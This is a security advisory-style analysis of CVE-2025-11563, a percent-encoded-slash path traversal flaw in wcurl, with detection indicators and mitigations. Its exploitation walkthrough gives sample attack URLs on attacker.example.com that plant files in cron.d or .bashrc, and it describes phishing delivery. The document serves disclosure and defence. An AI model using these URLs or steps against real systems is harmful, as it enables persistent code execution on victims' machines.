CVE-2025-11563: 
cURL vulnerability analysis and mitigation

CVE-2025-11563 is a path traversal vulnerability in the wcurl command-line tool that allows a remote attacker to trick the tool into saving downloaded files outside the current working directory by supplying URLs containing percent-encoded slashes (%2F or %5C). The flaw was reported on October 6, 2025 by Stanislav Fort of Aisle Research, disclosed publicly on November 4, 2025, and patched in wcurl 2025.11.09 (shipped with curl 8.18.0, released January 7, 2026). Affected versions are wcurl 2024.12.08 through 2025.11.04 (equivalently, curl 8.14.0 through 8.17.0); versions prior to 2024.12.08 and 2025.11.09 or later are not affected. The CVSS v3.1 base score is 4.6 (Medium) (Red Hat Advisory, curl Advisory).

The root cause is improper limitation of a pathname to a restricted directory (CWE-35 / CWE-22: Path Traversal). When wcurl derives an output filename from the URL path, it fails to properly decode and sanitize percent-encoded slash characters (%2F for / and %5C for \) before constructing the local file path. An attacker who controls or influences the URL passed to wcurl (e.g., via a malicious link or redirect) can craft a URL such that the decoded path traverses directory boundaries, causing the file to be written to an arbitrary location outside the current directory. Exploitation requires user interaction (the user must invoke wcurl with the malicious URL) and low-level privileges, but no special configuration is needed beyond a vulnerable wcurl version (curl Advisory, Red Hat Bugzilla).

Successful exploitation allows an attacker to place files at arbitrary locations on the filesystem accessible to the user running wcurl, potentially overwriting critical files, injecting malicious content into sensitive directories (e.g., shell startup scripts, cron directories, or web roots), or achieving persistent code execution if a writable privileged path is targeted. Confidentiality and integrity are both at low risk per the CVSS assessment; availability is not directly impacted. The curl project notes that wcurl will not overwrite existing files if the underlying curl version is 7.83 or later, which limits the worst-case impact in most modern deployments (curl Advisory, Red Hat Advisory).

1. Craft a malicious URL: Construct a URL where the path component contains percent-encoded slashes to traverse directories, e.g., https://attacker.example.com/..%2F..%2Fetc%2Fcron.d%2Fmalicious or https://attacker.example.com/subdir%2F..%2F..%2F.bashrc.
2. Deliver the URL to the victim: Trick a user running a vulnerable wcurl version (2024.12.08–2025.11.04 / curl 8.14.0–8.17.0) into executing wcurl <malicious_url>, for example via a phishing message, documentation, or script that calls wcurl with an attacker-supplied URL.
3. Trigger path traversal: When wcurl processes the URL, it derives the output filename from the URL path without properly decoding percent-encoded slashes, causing the file to be written to a directory outside the current working directory as determined by the traversal sequence.
4. Achieve arbitrary file placement: The attacker's controlled content (served by their HTTP server) is written to the traversed path (e.g., a user's .bashrc, a cron job file, or a web-accessible directory), potentially enabling persistent code execution or privilege escalation on the next trigger (curl Advisory, Red Hat Bugzilla).

• File System: Unexpected files appearing in directories outside the working directory from which wcurl was invoked; files with names matching URL path segments containing %2F or %5C decoded to path separators; new or modified files in sensitive locations (e.g., ~/.bashrc, /etc/cron.d/, web root directories) with timestamps correlating to wcurl invocations.
• Logs: Shell history or audit logs showing wcurl invocations with URLs containing %2F, %5C, %2f, or %5c in the path component; web server access logs on attacker infrastructure showing requests from victim IPs for paths with percent-encoded slashes.
• Network: Outbound HTTP/HTTPS requests from a host to unexpected external servers initiated by wcurl, particularly where the URL path contains encoded slash sequences (%2F, %5C).

The primary remediation is to upgrade wcurl to version 2025.11.09 or later, which is shipped with curl 8.18.0 (released January 7, 2026). Patches are available in the curl and wcurl Git repositories (commits 65546bae for wcurl and 79d3e1d7 for curl). If immediate upgrade is not possible, three workarounds are available: (A) explicitly specify an output filename using -o, -O, or --output to prevent wcurl from deriving the filename from the URL; (B) use the --no-decode-filename flag to disable percent-decoding for output filenames; or (C) restrict user access to wcurl and validate/sanitize all URL inputs before processing. Patches are also available via Red Hat, SUSE, Debian, Ubuntu (USN-8062-1), Amazon Linux 2 (ALAS2-2025-3088), and Oracle Solaris distributions (curl Advisory, Red Hat Advisory, Ubuntu Advisory).

The vulnerability was disclosed via the oss-security mailing list and received coverage from Linux security news aggregators including LinuxSecurity.com and Pro-Linux.de, as well as distribution security teams for Debian, Ubuntu, SUSE, openSUSE, Amazon Linux, and Oracle Solaris. The curl project's advisory explicitly noted that no active exploits were known at time of disclosure, and the moderate severity rating kept community reaction measured. A blog post on Infinitsec.net provided a technical walkthrough of the path traversal mechanism (curl Advisory, Infinitsec Blog).